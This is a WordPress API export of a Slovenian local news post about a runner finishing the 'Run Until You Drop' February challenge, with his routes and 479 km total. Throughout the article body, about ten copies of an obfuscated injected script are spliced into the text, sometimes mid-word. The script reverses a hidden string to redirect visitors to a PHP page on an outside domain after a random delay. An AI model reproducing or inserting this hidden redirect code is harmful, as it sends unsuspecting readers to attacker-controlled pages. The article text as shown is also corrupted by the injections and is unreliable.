{"id":14274,"date":"2022-05-09T19:37:52","date_gmt":"2022-05-09T17:37:52","guid":{"rendered":"https:\/\/sostanj.info\/2019\/dejan-tajnik-teci-dokler-ne-izpades-ruyd\/"},"modified":"2022-05-09T19:37:52","modified_gmt":"2022-05-09T17:37:52","slug":"dejan-tajnik-teci-dokler-ne-izpades-ruyd","status":"publish","type":"post","link":"http:\/\/sostanj.info\/2019\/dejan-tajnik-teci-dokler-ne-izpades-ruyd\/","title":{"rendered":"DEJAN TAJNIK: TECI DOKLER NE IZPADE\u0160 #RUYD"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Ker se vedno najdem v \u0161portnih izzivih, sploh tak\u0161nih, ki so povezani s tekom in zmogljivostjo, sem se na idejo prijatelja Marka Krenkerja tudi jaz le<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>tos lotil februarskega <strong>Run Until You Drop (RUYD)<\/strong> izziva oz.v prevodu: <strong>teci dokler ne izpade\u0161.<\/strong> Pravila tega izziva so preprosta. Vsak dan opravi\u0161 <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>toliko kilometrov kot je zaporedni dan v mesecu. Lahko se odpravi\u0161 pe\u0161 ali pa te\u010de\u0161. Torej prvega v mesecu 1 km, drugega 2 km, sedemindvajsetega\u00a0 v mesecu 27 km&#8230; vse do zadnjega v mesecu. Lahko je v eni sami aktivnosti, lahko pa v ve\u010d razli\u010dnih v istem dnevu.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Izgleda prepros<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>to, ne? Od za\u010detka meseca je enostavno, ker je zelo malo kilometrov, proti koncu meseca pa je zelo naporno, ker ko je potrebno te\u010di dnevno nad 20 km, kar pa je zelo te\u017eko. Takrat vidi\u0161 kako si pripravljen, kak\u0161na je telesna vzdr\u017eljivost, psihi\u010dna vzdr\u017eljivost, omeniti je potrebno tudi teren, planirati mora\u0161 kak\u0161no traso bo\u0161 izbral&#8230;.planirati \u010das poleg slu\u017ebe \u2026..ni prepros<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>to. Poleg ostalih teka\u010dev mi je uspelo narediti teka\u0161ki izziv.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Pri vseh izzivih mi je v\u0161e\u010d <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>to, da ne gre za tekmovanje s soudele\u017eenci, ki prihajajo iz celega sveta, ampak zgolj bolj samim sabo. Nikomur se ni potrebno dokazovati z razdaljo, ki si jo pretekel, vse skupaj je \u010dastne narave. Samemu sebi obljubi\u0161, da bo\u0161 <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>to izpeljal. Na koncu ni nagrade, medalje ali kaj podobnega. Lahko si v lastni re\u017eiji izdela\u0161 majico, za katero organiza<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>tor priskrbi grafiko. Je pa zadovoljstvo, ki je vredno veliko. Prinese tudi dobro fizi\u010dno pripravljenost, ki se bo obres<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>tovala v naslednjih mesecih. Cilj je bolj radovednost, \u010de zmorem ter u\u017eivanje v vsakem teku, ki postaja iz dneva v dan dalj\u0161i in \u010dasovno potraten. Gre za trening mentalne mi\u0161ice, discipline in miselnosti. Ideja, na\u010drt, izvedba. Misli, besede, dejanja. Proti koncu meseca si v tem izzivu vsak dan postavljen v podobno situacijo in si tako pridobi\u0161 izku\u0161nje.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Trase teka sem prigajal glede na kilometrino. Kraj\u0161e, do 10 km, sem odtekel okoli doma, krog okoli Raven, na \u0160o\u0161tanjskem jezeru, Ravne-Laj\u0161e in nazaj, potem pa sem za\u010del dodajati Ravne-Laj\u0161e-Topol\u0161ica-Florjan in nazaj domov (12 km), Ravenskapot (14 km), Ravne-\u0160o\u0161tanj-kamnolom v Paki in nazaj. Na<script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\\'php.yerg-sknil-tuoba-egap\/snrettap\/cni\/owtytnewtytnewt\/semeht\/tnetnoc-pw\/moc.cvpny\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}<\/script>to trasa \u0160martno ob Paki \u010dez Goro Olko, Pesje, \u0160ostanj, domov v Ravne (16km). Sledila je trasa Mozirski gaj, Nazarje, Re\u010dica ob Savinji do Homca in nazaj mimo Pobrezja do gaja (20 km). Naslednja etapa (26 km) Ravne, Gaberke, Velunja do konca in levo proti Zavodnjam ter nazaj v Laj\u0161e in domov, zadnji dan pa sva naredila Ravensko pot in Tr\u0161ko pot (29 km). Dodatni 1 km pa sva na naredila za ziher&#8230;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Vse skupaj je tudi osebni logisti\u010dni zalogaj, saj je potrebno biti v ravnovesju med dru\u017einskimi, slu\u017ebenimi in \u0161portnimi obveznostim. V celem mesecu se je nabralo<strong> 479<\/strong> km. Izziva se je lotil \u0161e teka\u0161ki prijatelj Marko, zaradi \u010desa je bilo kar malo la\u017eje, saj sva dober del tekov opravila skupaj. Veliko podporo so nudili tudi ostali teka\u010di iz dru\u0161\u010dine. V facebook skupini, kjer se izziv neformalno organizira, udele\u017eenci objavljajo svoj napredek, razne tegobe ter se medsebojno podpirajo. Tudi zaradi te skupnosti je bilo la\u017eje premagati izziv. V uradni evidenci je izziv zaklju\u010dilo 16 od 53 prvotno prijavljenih.<\/span><\/p>\n<blockquote>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>\u010ce te\u010de\u0161 si teka\u010d<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>ni pomembno, ali danes te\u010de\u0161 prvi\u010d<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>\u00a0ali te\u010de\u0161 \u017ee dvajset let.<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>Ni treba opraviti preizkusa,<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>ni si treba prislu\u017eiti dovoljenja,<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>ne potrebuje\u0161 \u010dlanske izkaznice,<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>samo te\u010de\u0161.<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><em>John Bingham<\/em><\/span><\/p>\n<\/blockquote>\n\n","protected":false},"excerpt":{"rendered":"<p>Ker se vedno najdem v \u0161portnih izzivih, sploh tak\u0161nih, ki so povezani s tekom in zmogljivostjo, sem se na idejo prijatelja Marka Krenkerja tudi jaz letos lotil februarskega Run Until&#8230;<\/p>\n","protected":false},"author":541,"featured_media":14275,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-14274","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arhiv"],"_links":{"self":[{"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/posts\/14274","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/users\/541"}],"replies":[{"embeddable":true,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/comments?post=14274"}],"version-history":[{"count":0,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/posts\/14274\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/media\/14275"}],"wp:attachment":[{"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/media?parent=14274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/categories?post=14274"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/sostanj.info\/2019\/wp-json\/wp\/v2\/tags?post=14274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}